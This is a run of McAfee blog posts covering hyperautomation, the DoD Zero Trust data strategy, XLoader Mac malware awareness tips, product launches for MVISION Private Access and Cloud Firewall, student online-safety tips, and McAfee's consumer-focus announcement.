The myriad of technologies used by a typical organization often are not integrated and exist as siloed disparate tools. Hyperautomation aims to reduce this “organizational debt” to improve value and brand. In the context of cybersecurity, a patchwork of stovepipe solutions not only exposes the environment to risk, but also impacts the cyber defender’s ability to fortify the environment and respond to threats at machine speed. Our target is “shift-left” security — leveraging intelligence to enhance predictability and encourage proactive responses to cyber threats.
The rise of telemetry architectures, combined with cloud adoption and data as the “new perimeter,” pose new challenges to cybersecurity operations. Organizations will be forced to contend with increased “security debt” unless we figure out how to optimize, connect, and streamline the solutions. In some cases, we have technologies available to begin this journey (MVISION Insights, MVISION Extended Detection and Response (XDR), MVISION API). In others, our customers demand more. They challenge us to build next-generation platforms to see themselves, see their cyberspace, and understand their cyberspace. Some cyber defenders need more than traditional cyber threat intelligence telemetry to make critical operational impact decisions.
MVISION Insights and MVISION XDR are great starts. It all begins with the build-up of an appropriate telemetry architecture, and McAfee Enterprise’s billion-sensor global telemetry is unmatched. Insights provides an automated means to fortify the environment against emerging threats, weaponizing threat intelligence to take a proactive stance in reducing your attack surface from device to cloud. Why start engaging at an attack’s point of impact when an organization can begin its own awareness at the same point an attacker would? MVISION XDR brings together the fragmented security solutions accumulated over the years, sharing information and coordinating actions to deliver an effective, unified response across every threat vector. Workflows are effortless to orchestrate. The powerful combination of Insights and XDR provides management and visibility of the complete attack lifecycle. Open architectures reinforce our belief that we are better together and facilitate a cybersecurity ecosystem consistent with the concepts of hyperautomation enablement.
Figure 1 – Attack Lifecycle
Where can we go from here? How do we secure tomorrow? From my perspective, we should expand the definition and scope of cybersecurity.
The answer is to look beyond traditional cyber threat telemetry; external factors (environmental, social media, geolocation, law enforcement, etc.) truly matter and are vital in making business impact decisions. Complete operational visibility, and the ability to investigate, research, and rationalize what matters most to make accurate, critical judgments, is the missing link. This is a Cyber Common Operating Picture (COP). A natural extension of our current initiatives within the industry, a COP answers the growing need to provide an integrated cyber defender’s visualization workbench that manages multiple data telemetry sources (beyond cyber threats) and delivers our customers wisdom – a true understanding – regarding their cyberspace on a local, regional, and global scale.
Telemetry data represents change, and telemetry architectures will require new forms of advanced analytics, AI, and ML to make sense of the vast sea of all-source intelligence flowing in from the environment to enhance observations and take definitive action. If we can “shift-left” for cyber threats, we can leverage that same predictability to identify and prepare for the impact of peripheral threats. Open source, custom, and third-party data feeds are widely available and create integration opportunities with emerging markets and capabilities to solve unique challenges typically not associated with our platform:
Non-traditional sensor telemetry, a multitude of feeds, and threat intelligence must be overlayed across the Cyber COP to provide AI-driven predictability modeling for next-gen systems and actionable conclusions. This is a potential future for how hyperautomation can impact cybersecurity; this is orchestrating beyond standard capabilities and expanding the definition and scope of how our complex environments are secured. AI engineering strategies will continue to expand and deliver data analytics at machine speeds.
McAfee Enterprise has always been a proponent of a platform approach to cybersecurity, creating interoperability and extending the security investments its customers have made. Loosely coupled security systems introduce gaps, and hyperautomation aims to solve that at a much larger scale. As we look toward the future, we can collectively build the requirements for the next generation of security solutions and broaden the scope of how we defend against our common adversaries. I am confident that the technologies currently exist to provide the framework(s) of a COP solution for enhanced cyber situational awareness.
Source: 1Gartner Press Release: Gartner Forecasts Worldwide Hyperautomation-Enabling Software Market to Reach Nearly $600 Billion by 2022 (April 28, 2021)
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Every organization has data moving to the multi-cloud; digital transformation is occurring rapidly, is here to stay, and is impacting every major industry. Organizations are working hard to adopt Zero Trust architectures as their critical information, trade secrets, and business applications are no longer stored in a single datacenter or location. As a result, there is a rapid shift to cloud resources to support dynamic mission requirements, and the new perimeter to defend is data. At its core, Zero Trust is a data-centric model and is fundamental to what McAfee Enterprise offers. In the Public Sector, data has now been classified as a strategic asset – often referred to as the “crown jewels” of an organization. Reinforced by the publication of the DoD Zero Trust Reference Architecture, we have arrived at a crossroads where demonstrating a sound data strategy will be a fundamental requirement for any organization.
All DoD data is an enterprise resource, meaning data requires consistent and uniform protections wherever it is created or wherever it traverses. This includes data transmitted across multi-cloud services, through custom mission applications, and on devices. Becoming a data-centric organization requires that data be treated as the primary asset. It must also be available so that it can be leveraged by other solutions for discovery and analytics purposes. To achieve this, interoperability and uniform data management are strategic elements that underpin many sections of DoD’s official vision of Zero Trust.
Let us dissect how the DoD plans to create a data advantage and where McAfee Enterprise can support these efforts as we explore the four essential capabilities – Architecture, Standards, Governance, and Talent & Culture:
Figure 1 – DoD Data Strategy Framework
McAfee Enterprise’s open architectural methodology emphasizes the efficiencies that cloud adoption and open frameworks can offer. The ability to leverage agile development and continuously adapt to dynamic mission requirements – faster than our adversaries – is a strategic advantage. Data protection and cloud posture, however, must not take a back seat to innovation.
The rapid pace of cloud adoption introduces new risks to the environment; misconfigurations and mistakes happen and are common. Vulnerabilities leave the environment exposed as DevOps tends to leverage open-source tools and capabilities. Agile development introduces a lot of moving parts as applications are updated and changed at an expedited pace and based on shorter, prescriptive measures. Customers also utilize multiple cloud service providers (CSP) to fit their mission needs, so consistent and uniform data management across all the multi-cloud services is a necessity. We are at a pivotal inflection point where native, built-in CSP protections have introduced too much complexity, overhead, and inconsistency. Our data security solution is a holistic, open platform that enforces standardized protections and visibility across the multi-cloud.
Together with our partners, we support the architecture requirements for data-centric organizations and take charge as the multi-cloud scales. Several items – visibility and control over the multi-cloud, device-to-cloud data protection, cloud posture, user behavior and insider threat – play into our strengths while organic partner integrations (e.g., ZTNA) further bolster the Zero Trust narrative and contribute to interoperability requirements. We are better together and can facilitate an open architecture to meet the demands of the mission.
DoD requires proven-at-scale methods for managing, representing, and sharing data of all types, and an open architecture should be used wherever possible to avoid stovepiped solutions and facilitate an interoperable security ecosystem. Past performance is key, and McAfee Enterprise has a long track record of delivering results, which is crucial as the DoD moves into a hybrid model of management.
Data comes in many forms, and the growth of telemetry architectures requires machines to do more with artificial intelligence and machine learning to make sense of data. How do we share indicators of compromise (IoCs) so multiple environments – internal and external – can leverage intelligence from other organizations? How do we share risks in multi-clouds and ensure data is secured in a uniform manner? How do we weaponize intelligence to shift “left of boom” and eliminate those post-compromise autopsies? Let’s explore how McAfee Enterprise supports data standards.
Made possible by Data Exchange Layer (DXL) and a strategic partner, the sharing of threat intelligence data has proven successful. Multiple environments participate in a security-connected ecosystem where an “attack against one is an attack against all” and advanced threats are detected, stopped, and participants are inoculated in near real-time. This same architecture scales to the hybrid cloud where the workloads in cloud environments can benefit from broad coverage.
Furthermore, DXL was built as open source to foster integrations and deliver cohesive partner solutions to promote interoperability and improve threat-informed intelligence. All capabilities speak the same language, tip and cue, and provide much greater return on investment. Consider the sharing of cloud-derived threats. No longer should we be limited to traditional hashes or IoCs. Perhaps we should share risky or malicious cloud services and/or insider threats. Maybe custom-developed solutions should leverage our MVISION platform via API to take advantage of the rich global telemetry and see what we see.
Our global telemetry is unmatched and can be leveraged to organizations’ advantage to proactively fortify the device-to-cloud environment, effectively shifting security to the “left” of impact. This is all done through the utilization of MVISION Insights. Automated posture assessments pinpoint where potential gaps in an organization’s countermeasures may exist and provide the means to take proactive action before it is hit. Through MVISION Insights, cyber operators can learn about active global campaigns, emerging threats, and whether an organization is in the path – or even the target. Leadership can grasp the all-important risk metric and deliver proof that the security investments are working and operational. Combined with native MITRE ATT&CK Framework mappings – an industry standard being mapped across our portfolio – this proactive hardening is a way we use threat telemetry to customers’ advantage.
Standardized data protection, end-to-end, across all devices and multi-cloud services is a key tenant of the DoD Data Strategy. Protecting data wherever it lives or moves, retaining it within set boundaries and making it available to approved users and devices only, and enforcing consistent controls from a single, comprehensive solution spanning the entire environment is the only data security approach. This is what Unified Cloud Edge (UCE) does. This platform’s converged approach is tailored to support DoD’s digital transformation to the multi-cloud and its journey to a data-centric enterprise.
DoD’s data governance element is comprised of the policies, procedures, frameworks, tools, and metrics to ensure data is managed at all levels, from when it is created to where it is stored. It encompasses increased data oversight at multiple levels and ensures that data will be integrated into future modernization initiatives. Many organizations tend to be driven by compliance requirements (which typically outweigh security innovation) unless there is an imminent mission need; we now have the compliance requirement. Customers will need to demonstrate a proper data protection and governance strategy as multi-cloud adoption matures. What better way to incorporate Zero Trust architectures than by leveraging UCE? Remember, this is beyond the software defined perimeter.
McAfee Enterprise can monitor, discover, and analyze all the cloud services leveraged by users – both approved and unapproved (Shadow IT) – and provide a holistic assessment. Closed loop remediation ensures organizations can take control and govern access to the unapproved or malicious services and use the information to lay the foundation for building effective data protection policies very relevant to mission needs.
Granular governance and control – application-level visibility – by authenticated users working within the various cloud services is just as important as controlling access to them. Tight API integrations with traditional SaaS services guarantee only permitted activities occur. With agile development on the rise, it is just as important that the solution is flexible to control these custom apps in the same way as any commercial cloud service. Legacy mission applications are being redesigned to take advantage of cloud scale and efficiency; McAfee Enterprise will not impose limits.
Governance over cloud posture is equally important, and customers need to ensure the multi-cloud environment is not introducing any additional source of risk. Most compromises are due to misconfigurations or mistakes that leave links, portals, or directories open to the public. We evaluate the multi-cloud against industry benchmarks and best practices, provide holistic risk scoring, and provide the means to remediate these findings to fortify an organization’s cloud infrastructure.
Unified data protection is our end goal; it is at the core of what we do and how we align to Zero Trust. Consistent protections and governance over data wherever it is created, wherever it goes, from device to multi-cloud. The same engine is shared across the environment and provides a single place for incidents and management across the enterprise. Customers can be confident that all data will be tracked and proper controls enforced wherever its destination may be.
Becoming a data-centric organization will require a cultural change. Decision-making capabilities will be empowered by data and analytics as opposed to experienced situations and scenarios (e.g., event response). Machine learning and artificial intelligence will continue to influence processes and procedures, and an open ecosystem is needed to facilitate effective collaboration. Capabilities designed to foster interoperability and collaboration will be the future. As more telemetry is obtained, solutions must support the SOC analyst with reduced noise and provide relevant, actionable data for swift decision-making.
At McAfee Enterprise, we hear this. UCE provides simplified management over the multi-cloud to ensure consistent and unified control over the environment and the data. No other vendor has the past performance at scale for hybrid, centralized management. MVISION Insights ensures that environments are fortified against emerging threats, allowing the cyber operators to focus on the security gaps that can leave an organization exposed. Threat intelligence sharing and an open architecture has been our priority over the past several years, and we will continue to enrich and strengthen that architecture through our platform approach. There is no silver bullet solution that will meet every mission requirement, but what we can collectively do is ensure we are united against our adversaries.
Data and Zero Trust will be at the forefront as we move forward into adopting cloud in the public sector. There is a better approach to security in this cloud-first world. It is a mindset change from the old perimeter-oriented view to an approach based on adaptive and dynamic trust and access controls. McAfee’s goal is to ensure that customers can support their mission objectives in a secure way, deliver new functionality, improved processes, and ultimately give better return on investments.
We are better together.
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Picture this: you open your MacBook and see an email claiming to be from your favorite online store. In the email, there is an attachment with “important information regarding your recent purchase.” Out of curiosity, you open the attachment without checking the recipient’s email address. The next thing you know, your device is riddled with malware.
Unfortunately, this story is not far from reality. Contrary to popular belief, Apple computers can get viruses, and XLoader has Mac users in their sights.
Let’s break down XLoader’s ‘s origins and how this malware works.
Where Did XLoader Come From?
XLoader originated from FormBook, which has been active for at least five years and is among the most common types of malware. Designed as a malicious tool to steal credentials from different web browsers, collect screenshots, monitor and log keystrokes, and more, FormBook allowed criminals to spread online misfortune on a budget. Its developer, referred to as ng-Coder, charged $49, a relatively cheap price to use the malware, making it easily accessible to cybercriminals.
Although ng-Coder stopped selling FormBook in 2018, this did not stop cybercriminals from using it. Those who had bought the malware to host on their own servers continued to use it, and in turn, quickly noticed that FormBook had untapped potential. In February 2020, FormBook rebranded to XLoader. XLoader can now target Windows systems and macOS devices.
Typically, XLoader is spread via fraudulent emails that trick recipients into downloading a malicious file, such as a Microsoft Office document. Once the malware is on the person’s device, an attacker can eavesdrop on the user’s keystrokes and monitors. Once a criminal has collected enough valuable data, they can make fake accounts in the victim’s name, hack their online profiles, and even access their financial information.
According to recent data, Apple sold 20 million Mac and MacBook devices in 2020. With macOS’s growing popularity, it is no surprise that cybercriminals have set their sights on targeting Mac users. Check out these tips to safeguard your devices and online data from XLoader and similar hacks:
Hackers often use phishing emails or text messages to distribute and disguise their malicious code. Do not open suspicious or irrelevant messages, as this can result in malware infection. If the message claims to be from a business or someone you know, reach out to the source directly instead of responding to the message to confirm the sender’s legitimacy.
Hackers tend to hide malicious code behind the guise of fake websites. Before clicking on an unfamiliar hyperlink, hover over it with your cursor. This will show a preview of the web address. If something seems off (there are strange characters, misspellings, grammatical errors, etc.) do not click the link.
Use a solution like McAfee Total Protection, which can help protect devices against malware, phishing attacks, and other threats. It also includes McAfee WebAdvisor — a tool that identifies malicious websites.
Regardless of whether you use a PC or a Mac, it is important to realize that both systems are susceptible to cyberthreats that are constantly changing. Do your research on prevalent threats and software bugs to put you in a great position to protect your online safety.
XLoader is just the latest example of how the gap between the prevalence of PC versus macOS malware is steadily closing. To better anticipate what threats could be around the corner and how to best combat them, stay updated on all of the latest online safety trends and practice great security habits. This will not only help protect your devices and online accounts but also bring you greater peace of mind.
The post 3 Tips to Protect Yourself From XLoader Malware appeared first on McAfee Blogs.
The current business transformation and remote workforce expansion require zero trust access to corporate resources, with end-to-end data security and continuous risk assessment to protect applications and data across all locations – public clouds, private data centers, and user devices. MVISION Private Access is the industry’s first truly integrated Zero Trust Network Access solution that enables blazing fast, granular “Zero Trust” access to private applications and provides best-in-class data security with leading data protection, threat protection, and endpoint protection capabilities, paving the way for accelerated Secure Access Service Edge (SASE) deployments.
We are currently operating in a world where enterprises are borderless, and the workforce is increasingly distributed. With an increasing number of applications, workloads and data moving to the cloud, security practitioners today face a wide array of challenges while ensuring business continuity, including:
Cloud-based Software-as-a-Service (SaaS) application adoption has exploded in the last decade, but most organizations still rely heavily on private applications hosted in data centers or Infrastructure-as-a-Service) IaaS environments. To date Virtual Private Networks (VPN) have been a quick and easy fix for providing remote users access to sensitive internal applications and data. However, with remote working becoming the new normal and organizations moving towards cloud-first deployments, VPNs are now challenged with providing secure connectivity for infrastructures they weren’t built for, leading to bandwidth, performance, and scalability issues. VPNs also introduce the risk of excessive data exposure, as any remote user with valid login keys can get complete access to the entire internal corporate network and all the resources within.
Enter Zero Trust Network Access, or ZTNA! Built on the fundamentals of “Zero Trust”, ZTNAs deny access to private applications unless the user identity is verified, irrespective of whether the user is located inside or outside the enterprise perimeter. Additionally, in contrast to the excessive implicit trust approach adopted by VPNs, ZTNAs enable precise, “least privileged” access to specific applications based upon the user authorization.
We are pleased to announce the launch of MVISION Private Access, an industry-leading Zero Trust Network Access solution with integrated Data Loss Prevention (DLP) and Remote Browser Isolation (RBI) capabilities. With MVISION Private Access, organizations can enable fast, ubiquitous, direct-to-cloud access to private resources from any remote location and device, allow deep visibility into user activity, enforce data protection over the secure sessions to prevent data misuse or theft, isolate private applications from potentially risky user devices, and perform security posture assessment of connecting devices, all from a single, unified platform.
Here are the key capabilities offered by ZTNA to provide secure access for your remote workforce:
Though ZTNAs are frequently promoted as VPN replacements, nearly all ZTNA solutions share an important drawback with VPNs – lack of data awareness and risk awareness. First-generation ZTNA solutions have categorically focused on solving the access puzzle and have left data security and threat prevention problems unattended. Considering that ubiquitous data awareness and risk assessment are the key tenets of the SASE framework, this is a major shortcoming when you consider how much traffic is going back and forth between users and private applications.
Moreover, the growing adoption of personal devices for work, oftentimes connecting over unsecure remote networks, significantly expands the threat surface and increases the risk of sensitive data exposure and theft due to lack of endpoint, cloud and web security controls.
Addressing these challenges requires ZTNA solutions to supplement their Zero Trust access capabilities with centralized monitoring and device posture assessment, along with integrated data and threat protection.
MVISION Private Access, from McAfee Enterprise, is designed for organizations in need for an all-encompassing security solution that focuses on protecting their ever-crucial data, while enabling remote access to corporate applications. The solution combines the secure access capabilities of ZTNA with the data and threat protection capabilities of Data Loss Prevention (DLP) and Remote Browser Isolation (RBI) to offer the industry’s leading integrated, data-centric solution for private application security, while utilizing McAfee’s industry-leading Endpoint Security solution to derive deep insights into the user devices and validating their security posture before enabling zero trust access.
MVISION Private Access allows customers to immediately apply inline DLP policies to the collaboration happening over the secure sessions for deep data inspection and classification, preventing inappropriate handling of sensitive data and blocking malicious file uploads. Additionally, customers can utilize a highly innovative Remote Browser Isolation solution to protect private applications from risky and untrusted unmanaged devices by isolating the web sessions and allowing read-only access to the applications.
Fig. 1: MVISION Private Access
Private Access further integrates with MVISION Unified Cloud Edge (UCE) to enable defense-in-depth and offer full scope of data and threat protection capabilities to customers from device-to-cloud. Customers can achieve the following benefits from the integrated solution:
Additionally, UCE’s Hyperscale Service Edge, that operates at 99.999% service uptime and is powered by intelligently peered data centers, provides blazing fast, seamless experience to private access users. Authentication via Identity Providers eliminates the risk of threat actors infiltrating the corporate networks using compromised devices or user credentials.
With dozens of ZTNA solutions on the market, we’ve made sure that MVISION Private Access stands out from the crowd with the following:
With MVISION Private Access customers can establish granular, least privileged access to their private applications hosted across cloud and IT environments, from any device and location, while availing all the goodness of McAfee’s leading data and threat protection capabilities to accelerate their business transformation and enable the fastest route to SASE. To learn more, visit www.mcafee.com/privateaccess.
The post Introducing MVISION Private Access appeared first on McAfee Blogs.
This fall, many students are headed back-to-school full time. However, just as workplaces now accommodate for remote work, schools are accommodating hybrid learning environments. While this may signal the end of things like snow days, it’s also created a new, more flexible style of learning that relies on computers, online connectivity, and apps to connect students with teachers and learning resources. It’s also a trend that’s not without risk, as evidenced by the more than 900 cybersecurity incidents, including personal data breaches, since 2016, according to the K-12 Cybersecurity Resource Center. This new style of learning comes with many implications for cybersecurity that we’ll discuss below, along with ways to protect learners and students of all ages.
Cameras and video conferencing software have become an integral part of the online learning experience. In the early days of 2020, we saw growing pains in the form of Zoom bombing, unintended sharing, and, on the lighter side, people learning to use fake backgrounds with hilarious consequences. And while many of these wrinkles have been smoothed out, for online learners, the fact remains that privacy is at risk anytime they use a camera.
Younger students:
Older students:
The good news is that while we’re all navigating the new world of learning online, there are more tools than ever to help you do so safely. A comprehensive security suite, like one of McAfee’s products, contains many of these security tools in one package, including tools for:
Younger students:
Older students:
Your child or teen’s portal to their online classroom is an important investment. After all, you’ll want them to be able to connect securely, communicate easily, and be able to handle any kind of online work they may need to do. Depending on the age of your child, this device may also have to be bomb-proof. Don’t worry some experts have already done the thinking for you with this list of computers for online learners.
There are many apps being used to facilitate online learning. And chances are, students will have to register, log-in, and provide identification. Regardless of age, here’s what NOT to provide.
Younger students:
Older students:
When students are learning in-person, the concept of being a good citizen is one that’s reinforced in the classroom and on the playground. Online, as students use forums, chats, and even social media to communicate, the concept of digital citizenship is just as important.
There’s a reason elementary schools have recess and high schools have lunch breaks. It gives kids time to step away from the books, stretch their legs, and refresh their minds. The same concept applies with online learning.
Younger students:
Older students:
For more extensive information about any of the recommendations above, please visit these resources.
The post 7 Safety Tips to Schooling in a Digital World appeared first on McAfee Blogs.
This news has been some time in the making, and I’m terrifically excited to share it.
As of July 27th, we take a decisive step forward, one where McAfee places its sole focus on consumers. People like you. This marks the day we officially divest our enterprise business and dedicate ourselves to protecting people so they can freely enjoy life online.
This move reflects years of evolution, time spent re-envisioning what online protection looks like in everyday life—how to make it stronger, easier to use, and most importantly, all the ways it can make you feel safe and help you stay that way.
In the coming days, you’ll see your experience with us evolve dramatically as well. You’ll see advances in our online protection that look, feel, and act in bold new ways. They will put you in decisive control of your identity and privacy, all in a time where both are so infringed upon. And you’ll also see your protection get simpler, much simpler, than before.
Today, I’d like to give you a preview of what’s ahead.
First, these changes are inspired by you. From feedback, research, interviews, and even having some of you invite us into your homes to show us how you live life online, you’ve made it clear what’s working and what isn’t. You’ve also shared what’s on your mind—your thoughts on technology’s rapid growth, the concerns you have for your children, and the times where life online makes you feel vulnerable.
We’re here to change things for the better. And here’s why …
Our lives are more fluid and mobile than ever before. From the palm of our hand, we split the cost of dinner, purchase birthday gifts, dim the lights in our living room, warm up the car on a winter morning, and far more. In many ways, our smartphones are the remote control for our lives. From managing our finances to controlling our surroundings, we’re increasing our use of technology to get things done and make things happen. Could any of us have imagined this when the first smartphones rolled out years ago?
Without question, we’re still plenty reliant on our computers and laptops too. Our recent research showed that we’re looking forward to using them in addition to our phones for telemedicine, financial planning, and plenty of personal shopping—each representing major upticks in usage than in years before, up to 74 percent more in some cases.
Yet what’s the common denominator here? You. Whatever device you’re using, at the center of all that activity is you. You’re the one who’s getting things done, making things happen, or simply passing some time with a show. So, while the device remains important, what’s far more important is you—and the way you’re using your device for ever-increasing portions of your life. Safely. Confidently. Easily.
Taken together, the time to squarely focus on protecting people is now. A new kind of online security is called for, one that can protect you as you go online throughout your day in a nearly constant and seamless fashion. We’ve dedicated ourselves to making that happen. And you’ll soon see what that looks like.
So how can you expect this evolution to take shape? You’ll see it in three significant ways:
1. Personalized experience. We’re building security that protects you effortlessly wherever your day takes you. From device to device, place to place, and all the experiences online in between. Think of our approach to online protection like Netflix, which used to be a physical service where you waited in queue for that next episodic DVD of Lost to get mailed to you. Now your shows follow you and stream anywhere, no matter what device you’re on. It’s the same thing with our security. It will recognize you and protect you whether you’re at home or by the pool on vacation, on your laptop, or your phone, with one consistent experience. Again, it’s all about you. Keeping you protected as you enjoy every perk and convenience of life online.
2. Intelligent experience. The next evolution builds on personalization and takes it a step further. This is security that understands when you and your personal info is at risk and then takes intelligent steps to protect you. This could be your smartphone automatically connecting to VPN when you’re at the airport, keeping you safe from prying eyes on public networks. It could also be alerts to you if your personal info is compromised so you can take steps to protect it. Or it could be a simple suggestion to help keep you safe while browsing, shopping, or banking online. In all, it’s intelligence that helps you stay safe and make safe choices.
3. Simpler experience. With this personalization and intelligence in place, you can protect everyone in your family far more easily than ever. It becomes practically automatic. Regardless of their age, interests, or how much they know about technology, this simplified approach to online security makes smart choices for you and your family wherever possible, steering them clear of threats and keeping everyone safer as a result.
Us at your side. New and existing customers alike will still benefit from McAfee’s award-winning technology as you always have. Further advances and features will roll out to you as part of the regular updates as they become available for your subscription. In all, you’ll always have the latest and greatest benefits of your product with us.
As for our future, expect more to come. Your confidence in us both fuels and informs these leaps ahead. Thank you as always for choosing us for your protection. It allows us to invest in breakthroughs that keep you safe against new and evolving threats, just as we have as a market leader for years.
The new McAfee is focused on you. It’s a bold new world of protection online, where you are in control of your identity and privacy, where you have intelligence that offers right protection in the right moment, where you can simply feel safe, and where you’re ultimately free to enjoy your life online at every turn.
Here’s to what’s next. And I can’t wait for you to experience it.
To stay updated on all things McAfee and on top of the latest consumer and mobile security threats, follow @McAfee_Home on Twitter, subscribe to our newsletter, listen to our podcast Hackable?, and ‘Like’ us on Facebook.
The post The New McAfee: A Bold New World of Protection Online appeared first on McAfee Blogs.
Architected for the cloud-first and remote-first deployments, MVISION Cloud Firewall secures access to applications and resources on the internet, accessed from every remote site and location, through a cloud-native service model. The solution inspects end-to-end user traffic – across all ports and protocols, enabling unified visibility and policy enforcement across the organizational footprint. Powered by McAfee Enterprise’s industry leading next-generation intrusion detection and prevention system, contextual policy engine and advanced threat detection platform, and supported by Global Threat Intelligence feeds, MVISION Cloud Firewall proactively detects and blocks emerging threats and malware with a high degree of accuracy, uniquely addressing the security challenges of the modern remote workforce. MVISION Cloud Firewall is an integral component of McAfee Unified Cloud Edge, offering organizations an all-encompassing, cloud-delivered Secure Access Service Edge (SASE) security solution for accelerating their business transformation.
For a long time, firewalls and computer networks were like conjoined twins. Businesses simply could not afford to run an enterprise network without deploying a security system at the edge to create a secure perimeter around their crown jewels. The growing adoption of web-based protocols and their subsequent employment by cybersecurity adversaries for launching targeted malware attacks, often hidden within encrypted traffic, saw the emergence of next-generation firewall (NGFW) solutions. Apart from including stateful firewall and unified threat management services, NGFWs offered multi-layered protection and performed deep packet inspection, allowing organizations greater awareness and control over the applications to counter web-based threats.
But things took a dramatic turn with the introduction of cloud computing. Cloud service providers came up with an offer the organizations could not refuse – unlimited computing power and storage volumes at significantly lower operating costs, along with the option to seamlessly scale business operations without hosting a single piece of hardware on-premises. Hence began the mass exodus of corporate data and applications to the cloud. Left without a fixed network perimeter to protect, the relationship between firewalls and networks entered complicated terms. While the cloud service providers offered a basic level of security functionality, they lacked the muscle power of on-premises firewalls, particularly NGFWs. This was further exacerbated by the ongoing pandemic and the overnight switch of the workforce to remote locations, which introduced the following challenges:
The distributed workforce has expanded the threat landscape at an alarming rate. According to the latest McAfee Labs Threats Reports, the volume of malware threats observed by McAfee Labs averaged 688 threats per minute, an increase of 40 threats per minute (3%) in the first quarter of 2021. While SWGs and CASBs could address the security challenges for web and SaaS traffic, respectively, how could organizations secure the remaining non-web traffic? The answer lies in Firewall-as-a-Service, or FWaaS. FWaaS can be defined as a firewall hosted in the cloud, offering all the NGFW capabilities, including deep packet inspection, application-layer filtering, intrusion prevention and detection, advanced threat protection, among others. While, at the onset, FWaaS may give the impression of lifting and shifting NGFWs to the cloud, their business benefits are far more profound and relevant for the modern workforce, some of which include:
McAfee MVISION Cloud Firewall is a cutting-edge Firewall-as-a-Service solution that enforces centralized security policies for protecting the distributed workforce across all locations, for all ports and protocols. MVISION Cloud Firewall allows organizations to extend comprehensive firewall capabilities to remote sites and remote workers through a cloud-delivered service model, securing data and users across headquarters, branch offices, home networks and mobile networks, with real-time visibility and control over the entire network traffic.
The core value proposition of MVISION Cloud Firewall is characterized by a next-generation intrusion detection and prevention system that utilizes advanced detection and emulation techniques to defend against stealthy threats and malware attacks with industry best efficacy. A sophisticated next-generation firewall application control system enables organizations to make informed decisions about allowing or blocking applications by correlating threat activities with application awareness, including Layer 7 visibility of more than 2000 applications and protocols.
Fig. MVISION Cloud Firewall Architecture
Superior IPS efficacy: MVISION Cloud Firewall delivers superior IPS performance through deep inspection of network traffic and seamless detection and blocking of both known and unknown threats across the network perimeter, data center, and cloud environments. The next-generation IPS engine offers 20% better efficacy than competitive solutions, while far exceeding the detection rates of open-source solutions. The solution combines with MVISION Extended Threat Detection and Response (XDR) to offer superior threat protection by correlating threat intelligence and telemetry across multiple vectors and proactively detecting and resolving adversarial threats before that can lead to any enterprise damage or loss. Additional advantages include inbound and outbound SSL decryption, signature-less malware analysis, high availability, and disaster recovery protection.
End-to-end visibility and optimization: The ability to visualize and control remote user sessions allows MVISION Cloud Firewalls to proactively monitor the end-to-end traffic flow and detect any critical issues observed across user devices, networks, and cloud. This offers network administrators a unified, organization-wide view of deployed assets to pinpoint and troubleshoot issues before the overall network performance and user productivity gets impacted. Optimizing network performance elevates the user experience through reduced session latency while keeping a check on the help desk ticket volumes.
Policy Sophistication: MVISION Cloud Firewall considers multiple contextual factors, such as the device type, security posture of devices, networks and users, and pairs that with application intelligence to define a robust and comprehensive policy lexicon that is more suitable for protecting the modern remote workforce. For example, most NGFWs can permit or block user traffic based on the configured rule set, such as permitting accounting users to access files uploaded on a Teams site. McAfee, on the other hand, utilizes its data protection and endpoint protection capabilities to create more powerful NGFW rules, such as permitting accounting users to access a third-party Teams site only if they have endpoint DLP enabled.
MVISION Cloud Firewall converges with MVISION Unified Cloud Edge to offer an integrated solution comprising of industry best Cloud Access Security Broker (CASB), Secure Web Gateway (SWG), Zero Trust Network Access (ZTNA), unified Data Loss Prevention (DLP) across endpoint, cloud and network, Remote Browser Isolation (RBI) and Firewall-as-a-Service, making McAfee one of the only vendors in the industry that solves the network security puzzle of the SASE framework. With the inclusion of MVISION Cloud Firewall, McAfee Enterprise customers can now utilize a unified security solution to inspect any type of traffic destined to the cloud, web, or corporate networks, while securing the sensitive assets and users across every location.
The post Introducing MVISION Cloud Firewall – Delivering Protection Across All Ports and Protocols appeared first on McAfee Blogs.
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